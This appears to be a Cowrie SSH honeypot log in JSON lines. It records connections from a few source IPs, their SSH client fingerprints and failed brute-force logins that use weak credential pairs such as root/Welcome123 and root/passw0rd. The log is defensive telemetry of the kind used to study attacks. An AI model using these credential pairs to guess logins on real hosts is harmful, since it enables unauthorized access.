{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":49842,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b5cc0f68387","protocol":"ssh","message":"New connection: 45.153.34.114:49842 (159.203.135.109:22) [session: 4b5cc0f68387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:20.858978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:20.863932Z","src_ip":"45.153.34.114","session":"4b5cc0f68387","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:20.949958Z","src_ip":"45.153.34.114","session":"4b5cc0f68387","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome123","message":"login attempt [root/Welcome123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:21.213261Z","src_ip":"45.153.34.114","session":"4b5cc0f68387","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:22.301784Z","src_ip":"45.153.34.114","session":"4b5cc0f68387","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":60148,"dst_ip":"159.203.135.109","dst_port":22,"session":"57a59363b1b9","protocol":"ssh","message":"New connection: 103.75.199.4:60148 (159.203.135.109:22) [session: 57a59363b1b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:25.321371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:25.326908Z","src_ip":"103.75.199.4","session":"57a59363b1b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:25.418876Z","src_ip":"103.75.199.4","session":"57a59363b1b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111","message":"login attempt [root/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:25.694659Z","src_ip":"103.75.199.4","session":"57a59363b1b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:26.789194Z","src_ip":"103.75.199.4","session":"57a59363b1b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":49856,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7633ef51e87","protocol":"ssh","message":"New connection: 45.153.34.114:49856 (159.203.135.109:22) [session: c7633ef51e87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:28.099864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:28.104406Z","src_ip":"45.153.34.114","session":"c7633ef51e87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:28.189423Z","src_ip":"45.153.34.114","session":"c7633ef51e87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:28.452065Z","src_ip":"45.153.34.114","session":"c7633ef51e87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:29.552244Z","src_ip":"45.153.34.114","session":"c7633ef51e87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":33052,"dst_ip":"159.203.135.109","dst_port":22,"session":"5064469cc76e","protocol":"ssh","message":"New connection: 45.153.34.114:33052 (159.203.135.109:22) [session: 5064469cc76e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:35.494087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:35.499229Z","src_ip":"45.153.34.114","session":"5064469cc76e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:35.582221Z","src_ip":"45.153.34.114","session":"5064469cc76e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esroot","password":"esroot","message":"login attempt [esroot/esroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:35.894152Z","src_ip":"45.153.34.114","session":"5064469cc76e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:36.981222Z","src_ip":"45.153.34.114","session":"5064469cc76e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":45128,"dst_ip":"159.203.135.109","dst_port":22,"session":"7eed54f4e713","protocol":"ssh","message":"New connection: 45.153.34.114:45128 (159.203.135.109:22) [session: 7eed54f4e713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:42.807602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:42.812666Z","src_ip":"45.153.34.114","session":"7eed54f4e713","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:42.909496Z","src_ip":"45.153.34.114","session":"7eed54f4e713","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kipt","password":"kipt","message":"login attempt [kipt/kipt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:43.168394Z","src_ip":"45.153.34.114","session":"7eed54f4e713","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:44.256560Z","src_ip":"45.153.34.114","session":"7eed54f4e713","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":46832,"dst_ip":"159.203.135.109","dst_port":22,"session":"4bbcb154c735","protocol":"ssh","message":"New connection: 103.75.199.4:46832 (159.203.135.109:22) [session: 4bbcb154c735]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:47.132629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:47.137341Z","src_ip":"103.75.199.4","session":"4bbcb154c735","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:47.227996Z","src_ip":"103.75.199.4","session":"4bbcb154c735","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:47.501115Z","src_ip":"103.75.199.4","session":"4bbcb154c735","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:48.595621Z","src_ip":"103.75.199.4","session":"4bbcb154c735","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":55510,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad68ca60e75f","protocol":"ssh","message":"New connection: 45.153.34.114:55510 (159.203.135.109:22) [session: ad68ca60e75f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:49.980838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:49.989281Z","src_ip":"45.153.34.114","session":"ad68ca60e75f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:50.084390Z","src_ip":"45.153.34.114","session":"ad68ca60e75f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty1","message":"login attempt [root/Qwerty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:50.395498Z","src_ip":"45.153.34.114","session":"ad68ca60e75f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":55058,"dst_ip":"159.203.135.109","dst_port":22,"session":"7aad55be4e5a","protocol":"ssh","message":"New connection: 20.203.42.204:55058 (159.203.135.109:22) [session: 7aad55be4e5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:50.497921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:50.505699Z","src_ip":"20.203.42.204","session":"7aad55be4e5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:50.671650Z","src_ip":"20.203.42.204","session":"7aad55be4e5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminpassword","message":"login attempt [root/adminpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:51.357546Z","src_ip":"20.203.42.204","session":"7aad55be4e5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:51.590900Z","src_ip":"45.153.34.114","session":"ad68ca60e75f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:52.530083Z","src_ip":"20.203.42.204","session":"7aad55be4e5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.184.248","src_port":28026,"dst_ip":"159.203.135.109","dst_port":22,"session":"897533762fe0","protocol":"ssh","message":"New connection: 31.57.184.248:28026 (159.203.135.109:22) [session: 897533762fe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:57.355636Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:57.360820Z","src_ip":"31.57.184.248","session":"897533762fe0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.184.248","src_port":28040,"dst_ip":"159.203.135.109","dst_port":22,"session":"48b76101a5cf","protocol":"ssh","message":"New connection: 31.57.184.248:28040 (159.203.135.109:22) [session: 48b76101a5cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:57.519029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:31:57.523449Z","src_ip":"31.57.184.248","session":"48b76101a5cf","protocol":"ssh"}
